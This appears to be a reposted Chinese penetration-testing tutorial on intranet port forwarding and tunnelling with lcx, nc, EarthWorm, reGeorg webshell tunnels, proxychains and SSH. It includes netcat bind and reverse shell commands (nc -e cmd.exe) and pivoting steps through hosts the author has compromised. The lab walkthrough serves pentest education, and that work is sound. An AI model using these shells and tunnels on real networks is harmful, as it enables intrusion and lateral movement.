1. 程式人生 > >內網埠轉發及穿透

內網埠轉發及穿透

最近嘗試了一些內網埠的轉發和內網穿透,現在一起總結一下。

0x01 正向和反向代理

正向代理中,proxy和client同屬一個LAN,對server透明; 反向代理中,proxy和server同屬一個LAN,對client透明。 實際上proxy在兩種代理中做的事都是代為收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,後者叫做反向代理。

正向代理(Forward Proxy)

  1. Lhost--》proxy--》Rhost

Lhost為了訪問到Rhost,向proxy傳送了一個請求並且指定目標是Rhost,然後proxy向Rhost轉交請求並將獲得的內容返回給Lhost,簡單來說正向代理就是proxy代替了我們去訪問Rhost。

反向代理(reverse proxy)

  1. Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反(廢話),Lhost只向proxy傳送普通的請求,具體讓他轉到哪裡,proxy自己判斷,然後將返回的資料遞交回來,這樣的好處就是在某些防火牆只允許proxy資料進出的時候可以有效的進行穿透

簡單區分

正向代理代理的是客戶端,反向代理代理的是服務端,正向代理是我們自己(Lhost)戴套(proxy)插進去,反向代理是她(Rhost)主動通過上位(proxy)坐上來(Lhost)。

0x02 lcx轉發

內網IP:192.168.153.138
公網ip:192.168.153.140
由於是本地實驗,我這裡將138的防火牆開啟,當作內網環境,140防火牆關閉,充當公網ip,所以正常情況下138能訪問140,而140不能直接訪問138。這是兩臺機器互相ping的結果。

1.內網機器上執行:lcx.exe –slave 公網IP +埠 內網IP +埠

  1. lcx.exe slave 192.168.153.1404444192.168.153.1383389

將內網(192.168.153.138)的3389埠轉發到公網(192.168.153.138)的4444埠
2.公網(192.168.153.138)執行:lcx -listen 4444 5555

監聽公網4444埠請求,並將4444的請求傳送給5555埠。
此時已經把內網的3389埠轉發到了公網的5555埠。可以通過127.0.0.1:5555連線到內網的遠端桌面。

0x03 nc反彈

正向連線

在內網執行

  1. nc -l -p 5555-t -e cmd.exe

-t是通過telne模式執行 cmd.exe 程式,可以省略。
在公網執行

  1. nc -nvv 192.168.153.1385555

反向連線

在公網監聽nc -lp 5555

在內網機器反彈nc -t -e cmd 192.168.153.140 5555

0x04 socks代理工具

常見的socks代理工具介紹如下
1.Earthworm 工具網址:http://rootkiter.com/EarthWorm

EW 是一套行動式的網路穿透工具,具有 SOCKS v5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網路隧道,直達網路深處,用蚯蚓獨有的手段突破網路限制,給防火牆鬆土。工具包中提供了多種可執行檔案,以適用不同的作業系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用。

目前已經有了最新版Termite,工具網址:http://rootkiter.com/Termite/

2.reGeorg 工具網址:https://github.com/NoneNotNull/reGeorg

reGeorg是reDuh的升級版,主要是把內網伺服器的埠通過http/https隧道轉發到本機,形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用webshell建立一個socks代理進行內網穿透,伺服器必須支援aspx、php或jsp這些web程式中的一種。

3.sSocks 工具網址:http://sourceforge.net/projects/ssocks/

sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支援socks5驗證,支援IPV6和UDP,並提供反向socks代理服務,即將遠端計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.13。

4.SocksCap64 工具網址:http://www.sockscap64.com (需翻牆)

SocksCap64是一款在windows下相當好使的全域性代理軟體。SocksCap64可以使Windows應用程式通過SOCKS代理伺服器來訪問網路而不需要對這些應用程式做任何修改, 即使某些本身不支援SOCKS代理的應用程式通過SocksCap64之後都可以完美的實現代理訪問。

5.proxychains 工具網址:http://proxychains.sourceforge.net/

Proxychains是一款在LINUX下可以實現全域性代理的軟體,效能相當穩定可靠。在使任何程式通過代理上網,允許TCP和DNS通過代理隧道,支援HTTP、SOCKS4、SOCKS5型別的代理伺服器,支援proxy chain,即可配置多個代理,同一個proxy chain可使用不同型別的代理伺服器

0x04.1 reGeorg+Proxychains代理

上傳reGeorg的tunnel.jsp到伺服器。訪問連結,並轉發到本地埠。

  1. python reGeorgSocksProxy.py -p 1080-u http://192.168.153.137/tunnel.jsp

使用設定proxychains的代理埠,進行訪問,一般配合nmap和metasploit進行後續內網滲透。ps:proxychains不支援udp和icmp協議,所以使用nmap要加上-sT -Pn即使用tcp協議且不使用icmp協議。

0x04.2 ew穿透

該工具借用了 ssocks 和 lcx.exe 的操作邏輯,並進行更多的功能強化。

說明

  1. 目前工具提供六種鏈路狀態,可通過-s 引數進行選定,分別為:
  2. ssocksd rcsocks rssocks
  3. lcx_slave lcx_tran lcx_listen
  4. 其中 SOCKS5 服務的核心邏輯支援由 ssocksd rssocks 提供,分別對應正向與反向socks代理。
  5. 其餘的 lcx 鏈路狀態用於打通測試主機同 socks 伺服器之間的通路。
  6. lcx 類別管道:
  7. lcx_slave 該管道一側通過反彈方式連線代理請求方,另一側連線代理提供主機。
  8. lcx_tran 該管道,通過監聽本地埠接收代理請求,並轉交給代理提供主機。
  9. lcx_listen 該管道,通過監聽本地埠接收資料,並將其轉交給目標網路回連的代理提供主機。
  10. 通過組合lcx類別管道的特性,可以實現多層內網環境下的滲透測試。
  11. 下面是一個三級跳的本地測試例子。。。
  12. ./ew -s rcsocks -l 1080-e 8888
  13. ./ew -s lcx_slave -d 127.0.0.1-e 8888-f 127.0.0.1-g 9999
  14. ./ew -s lcx_listen -l 9999-e 7777
  15. ./ew -s rssocks -d 127.0.0.1-e 7777
  16. 資料流向為 IE ->1080->8888->9999->7777-> rssocks
0x04.2.1 正向SOCKS5伺服器

當目標網路邊界存在公網IP且可任意開監聽埠

  1. ew_for_Win.exe -s ssocksd -l 8888

上述命令是在該機器(192.168.153.140)開啟一個8888的正向連線埠。然後其它主機可通過設定代理為 192.168.153.140:8888新增這個代理。這裡使用的是proxychains

0x04.2.2 反彈SOCKS5伺服器

當目標網路邊界不存在公網IP,通過反彈方式建立socks代理。
先在一臺具有公網 ip 的主機A上執行以下命令

  1. ./ew_for_linux64 -s rcsocks -l 1080-e 8888

意思是在我們公網VPS上新增一個轉接隧道,把1080埠收到的代理請求轉交給8888埠

在目標主機B上啟動SOCKS5服務 並反彈到公網主機的8888埠

  1. ew_for_Win.exe -s rssocks -d 192.168.153.129-e 8888

本地主機(192.168.153.129)然後通過新增公網192.168.153.129:1080這個代理,來訪問內網機器(192.168.153.129)
當然如果本地主機如果是公網ip,就可以把在公網執行的步驟放在本地執行即可。

0x04.2.3 二級網路環境(一)

假設我們獲得了右側A主機和B主機的控制權限,A主機配有2塊網絡卡,一塊10.129.72.168連通外網,一塊192.168.153.140只能連線內網B主機,無法訪問內網其它資源。B主機可以訪問內網資源,但無法訪問外網。

先上傳ew到B主機,利用ssocksd方式啟動8888埠的SOCKS代理,命令如下

  1. ew_for_Win.exe -s ssocksd -l 8888

然後在A主機執行

  1. ew_for_Win.exe -s lcx_tran -l 1080-f 192.168.153.138-g 8888

含義是將1080埠收到的代理請求轉交給B主機(192.168.153.138)的8888埠
然後My pc就可以通過A的外網代理10.129.72.168:1080訪問B。

0x04.2.4 二級網路環境(二)

假設我們獲得了右側A主機和B主機的控制權限,A主機沒有公網IP,也無法訪問內網資源。B主機可以訪問內網資源,但無法訪問外網。

這次操作有四步。

  1. 在公網vps(45.xxx.xxx.72)新增轉接隧道,將10800埠收到的代理請求轉交給8888埠

    ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

2.B(192.168.153.138)主機正向開啟8888埠

  1. ew_for_Win.exe -s ssocksd -l 9999

3.A主機利用lcx_slave方式,將公網VPS的888埠和B主機的999埠連線起來

  1. ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72-e 8888-f 192.168.153.138-g 9999

現在my pc可通過訪問45.xxx.xxx.72:10800來使用192.168.153.138主機提供的socks5代理,代理成功,vps會有rssocks cmd_socket OK!提示

0x05 ssh隧道代理轉發

ssh有三個強大的埠轉發命令,分別是本地轉發、遠端轉發、動態轉發。

  1. 本地訪問127.0.0.1:port1就是host:port2(用的更多)
  2. ssh -CfNg-L port1:127.0.0.1:port2 [email protected] #本地轉發
  3. 訪問host:port2就是訪問127.0.0.1:port1
  4. ssh -CfNg-R port2:127.0.0.1:port1 [email protected] #遠端轉發
  5. 可以將dmz_hosthostport埠通過remote_ip轉發到本地的port
  6. ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,監聽本地port
  7. 可以將dmz_hosthostport埠轉發到remote_ipport
  8. ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用於內網穿透防火牆限制之類
  9. socket代理:
  10. ssh -qTfnN -D port remotehost
  11. 引數詳解:
  12. -q Quiet mode.安靜模式
  13. -T Disable pseudo-tty allocation.不佔用 shell
  14. -f Requests ssh to go to background just before command execution.後臺執行,並推薦加上-n 引數
  15. -N Donot execute a remote command.不執行遠端命令,埠轉發就用它了
  16. -L port:host:hostport
  17. 將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠.工作原理是這樣的,本地機器上分配了一個 socket 偵聽 port 埠,一旦這個埠上有了連線,該連線就經過安全通道轉發出去,同時遠端主機和 host hostport 埠建立連線.可以在配置檔案中指定埠的轉發.只有 root 才能轉發特權埠.IPv6地址用另一種格式說明: port/host/hostport
  18. -R port:host:hostport
  19. 將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠.工作原理是這樣的,遠端主機上分配了一個 socket 偵聽 port 埠,一旦這個埠上有了連線,該連線就經過安全通道轉向出去,同時本地主機和 host hostport 埠建立連線.可以在配置檔案中指定埠的轉發.只有用 root 登入遠端主機才能轉發特權埠.IPv6地址用另一種格式說明: port/host/hostport
  20. -D port
  21. 指定一個本地機器“動態的’’應用程式埠轉發.工作原理是這樣的,本地機器上分配了一個 socket 偵聽 port 埠,一旦這個埠上有了連線,該連線就經過安全通道轉發出去,根據應用程式的協議可以判斷出遠端主機將和哪裡連線.目前支援 SOCKS協議,將充當S